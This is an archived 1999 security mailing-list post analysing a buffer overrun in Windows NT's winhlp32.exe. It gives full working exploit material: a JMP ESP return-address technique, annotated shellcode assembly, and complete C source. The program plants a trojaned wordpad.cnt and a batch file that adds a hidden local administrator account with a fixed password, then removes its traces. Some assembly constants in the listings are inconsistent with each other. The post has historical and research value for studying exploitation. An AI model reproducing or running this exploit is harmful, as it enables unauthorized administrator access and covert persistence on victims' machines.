ms.winhelp.exploit.txt

1999-08-17T00:00:00
ID PACKETSTORM:11928
Type packetstorm
Reporter David Litchfield
Modified 1999-08-17T00:00:00

Description

                                        
                                            `Date: Mon, 24 May 1999 07:18:23 +0100  
From: Mnemonix <mnemonix@GLOBALNET.CO.UK>  
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM  
Subject: Exploit and Analysis of the Winhlp32.exe buffer overrun.  
  
Analysis of the winhlp32.exe buffer overrun.  
  
The buffer overrun in winhlp32.exe occurs when it attempts to read a cnt  
file with an overly long heading string. If the string is longer than 507  
bytes the buffer overrun does not occur - winhlp32 just truncates the entry.  
The return address is overwritten with bytes 357, 358, 359 and 360.  
Everything before these bytes is lost giving us bytes 361 to 507 to play  
with - a total of 147 bytes for our exploit code. On playing around with the  
overrun we find we lose about another 20 of these bytes giving us only 127  
bytes to play with - not a lot really.  
  
On overruning the buffer and analysing the contents of memory and the CPU's  
registers with a debugger we find that byte 361 is found at 0x0012F0E4. This  
is the address we need to get the processor to go to to get its next  
instruction - but this address has a NULL in it which totally messes things  
up. However, looking at the registers we can see that the ESP, the Stack  
Pointer, holds this address so if we can find somewhere in memory that does  
a JMP ESP, and set the return address to this then we should be able to get  
back to the address where we'll place our exploit code. Looking at the DLLs  
that winhlp32.exe uses we find that kernel32.dll has the JMP ESP instruction  
at 0x77F327E5 (Service Pack 4's version of kernel32.lib - I think it's at  
0x77F327D5 on Service Pack 3's kernel32.dll).  
  
So we put 0x77F327E5 into bytes 357 to 360 but we have to load it in  
backwards so byte 357 we'll set to 0xE5, byte 358 to 0x27, byte 359 to 0xF3  
and byte 360 to 0x77.  
  
Now we've jumped back to our exploit code we have to decide what we wan to  
put in it. Because we only have 127 bytes to do anything meaningful we need  
to start another program - the best thing is to get it to run a batch file.  
This means calling the system ( ) function which is exported by msvcrt.dll  
which isn't loaded into the address space of winhlp32.exe - so we'll have to  
load it. How do we do this? We have to call LoadLibrary ( ) which is  
exported by kernel32.dll which is in the address space. LoadLibraryA ( ) is  
exported at address 0x77F1381A so all we need to do is have the string  
"msvcrt.dll" in memory somewhere and call 0x77F1381A with a reference to the  
pointer to the null terminated "msvcrt.dll" string. Because it has to be  
null terminated we'll get our code to write it into memory. Once this is  
done we'll place the address of LoadLibraryA ( ) onto the stack then place  
the address of the pointer to "msvcrt.dll" and finally call LoadLibraryA ( )  
using an offset from the EBP. The following is the Assembly Code needed to  
do this:  
  
/*First the procedure prologue */  
push ebp  
mov ebp,esp  
  
/*Now we need some zeroes */  
xor eax,eax  
  
/* and then push then onto the stack */  
push eax  
push eax  
push eax  
  
/* Now we write MSVCRT.DLL into the stack */  
mov byte ptr[ebp-0Ch],4Dh  
mov byte ptr[ebp-0Bh],53h  
mov byte ptr[ebp-0Ah],56h  
mov byte ptr[ebp-09h],43h  
mov byte ptr[ebp-08h],52h  
mov byte ptr[ebp-07h],54h  
mov byte ptr[ebp-06h],2Eh  
mov byte ptr[ebp-05h],44h  
mov byte ptr[ebp-04h],4Ch  
mov byte ptr[ebp-03h],4Ch  
  
/* move the address of LoadLibraryA ( ) into the edx register */  
mov edx,0x77F1381A  
  
/* and then push it onto the stack */  
push edx  
  
/* Then we load the address where the msvcrt.dll string can be found */  
lea eax,[ebp-0Ch]  
  
/* and push it onto the stack */  
push eax  
  
/* Finally we call LoadLibraryA( )  
call dword ptr[ebp-10h]  
  
All things going well we should have now loaded msvcrt.dll into the address  
space of winhlp32.exe. With this in place we now need to call system() and  
provide the name of a batch file to it as an argument. We don't have enough  
bytes to play with to call GetProcessAddress ( ) and do the rest of the  
things we have to do like clean up so we check what version of msvcrt.dll we  
have before writing the code and see where system ( ) is exported at. On a  
standard install of Windows NT this will normally be version 4.20.6201 with  
system () exported at 0x7801E1E1. We'll call the batch file ADD.bat but to  
save room we won't give it an extention. The system ( ) function will try  
the default executable extentions like.exe, .com and .bat and find it for us  
then run it. Once it has run it the cmd.exe process system( ) has launched  
will exit.  
  
So we need to have the null terminated string "ADD" in memory and the  
address of system ( ). Below is the code that will write "ADD" onto the  
stack and then call system( )  
  
/*First the procedure prologue */  
push ebp  
mov ebp,esp  
  
/* We need some NULL and then push them onto the stack */  
xor edi,edi  
push edi  
  
/* Now we write ADD onto the stack */  
mov byte ptr [ebp-04h],41h  
mov byte ptr [ebp-03h],44h  
mov byte ptr [ebp-02h],44h  
  
/* Place address of system ( ) into eax and push it onto the stack */  
mov eax, 0x7801E1E1  
push eax  
  
/* Now load eax with address of ADD and push this too */  
lea eax,[ebp-04h]  
push eax  
  
/ * Then we call system ( ) */  
call dword ptr [ebp-08h]  
  
Once the batch file has been run the Command Interpreter will exit and if we  
don't clean up after ourselves winhlp32.exe will access violate so we need  
to call exit (0) to keep it quiet. exit ( ) is also exported by msvcrt.dll  
at address 0x78005BBA - which has a null in it. It's not a major problem -  
we can fill a register with 0xFFFFFFFF and subtract 0x87FFA445 from it. The  
following code calls exit (0)  
  
  
/* Procedure prologue */  
push ebp  
mov ebp,esp  
  
/* Round about way of getting address of exit () into edx */  
mov edx,0xFFFFFFFF  
sub edx,0x87FFAF65  
  
/* Push this address onto the stack */  
push edx  
  
/* Get some nulls - this is our exit code - and push them too */  
xor eax,eax  
push eax  
  
/* then call exit()! */  
call dword ptr[ebp-04h]  
  
Altogether our code looks like this:  
  
push ebp  
mov ebp,esp  
xor eax,eax  
push eax  
push eax  
push eax  
mov byte ptr[ebp-0Ch],4Dh  
mov byte ptr[ebp-0Bh],53h  
mov byte ptr[ebp-0Ah],56h  
mov byte ptr[ebp-09h],43h  
mov byte ptr[ebp-08h],52h  
mov byte ptr[ebp-07h],54h  
mov byte ptr[ebp-06h],2Eh  
mov byte ptr[ebp-05h],44h  
mov byte ptr[ebp-04h],4Ch  
mov byte ptr[ebp-03h],4Ch  
mov edx,0x77F1381A  
push edx  
lea eax,[ebp-0Ch]  
push eax  
call dword ptr[ebp-10h]  
push ebp  
mov ebp,esp  
xor edi,edi  
push edi  
mov byte ptr [ebp-04h],43h  
mov byte ptr [ebp-03h],4Dh  
mov byte ptr [ebp-02h],44h  
mov eax, 0x7801E1E1  
push eax  
lea eax,[ebp-04h]  
push eax  
call dword ptr [ebp-08h]  
push ebp  
mov ebp,esp  
mov edx,0xFFFFFFFF  
sub edx,0x87FFA445  
push edx  
xor eax,eax  
push eax  
call dword ptr[ebp-04h]  
  
Now we need the operayion codes (opcodes) for all this which we do by  
writing a program that uses the __asm function and then debug it. This is  
what we actually load into our exploit code.  
  
Following is the source of a program that will create a "trojaned"  
wordpad.cnt. It will also create a batch file called add.bat - edit it as  
you see fit. I have compiled the program - you can get a copy of it from  
  
http://www.infowar.co.uk/mnemonix/winhlpadd.exe  
  
Note that this will run only on standard installs of NT with service pack 4  
and expects an msvcrt.dll version of 4.20.6201 - run it from the winnt\help  
directory.  
  
Cheers,  
David Litchfield  
http://www.infowar.co.uk/mnemonix  
http://www.arca.com  
  
  
  
#include <stdio.h>  
#include <windows.h>  
#include <string.h>  
  
int main(void)  
{  
char eip[5]="\xE5\x27\xF3\x77";  
char  
ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x  
90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x  
45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\x  
C6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\x  
F1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x  
41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\x  
FF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC";  
  
FILE *fd;  
printf("\n\n*******************************************************\n");  
printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n");  
printf("* This version runs on Service Pack 4 machines and *\n");  
printf("* assumes a msvcrt.dll version of 4.00.6201 *\n");  
printf("* *\n");  
printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n");  
printf("*******************************************************\n\n");  
  
fd = fopen("wordpad.cnt", "r");  
if (fd==NULL)  
{  
printf("\n\nWordpad.cnt not found or insufficient rights to access  
it.\nRun this from the WINNT\\HELP directory");  
return 0;  
}  
fclose(fd);  
printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");  
system("copy wordpad.cnt wordpad.sav");  
printf("\n\nCreating wordpad.cnt with exploit code...");  
fd = fopen("wordpad.cnt", "w+");  
if (fd==NULL)  
{  
printf("Failed to open wordpad.cnt in write mode. Check you have  
sufficent rights\n");  
return 0;  
}  
fprintf(fd,"1  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,ExploitCode)  
;  
fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");  
fclose(fd);  
printf("\nCreating batch file add.bat\n\n");  
fd = fopen("add.bat", "w");  
if (fd == NULL)  
{  
printf("Couldn't create batch file. Manually create one instead");  
return 0;  
}  
printf("The batch file will attempt to create a user account called  
\"winhlp\" and\n");  
printf("with a password of \"winhlp!!\" and add it to the Local  
Administrators group.\n");  
printf("Once this is done it will reset the files and delete itself.\n");  
fprintf(fd,"net user winhlp winhlp!! /add\n");  
fprintf(fd,"net localgroup administrators winhlp /add\n");  
fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");  
fprintf(fd,"del wordpad.sav\n");  
fprintf(fd,"del add.bat\n");  
fclose(fd);  
printf("\nBatch file created.");  
printf("\n\nCreated. Now open up Wordpad and click on Help\n");  
  
return 0;  
  
  
}  
  
`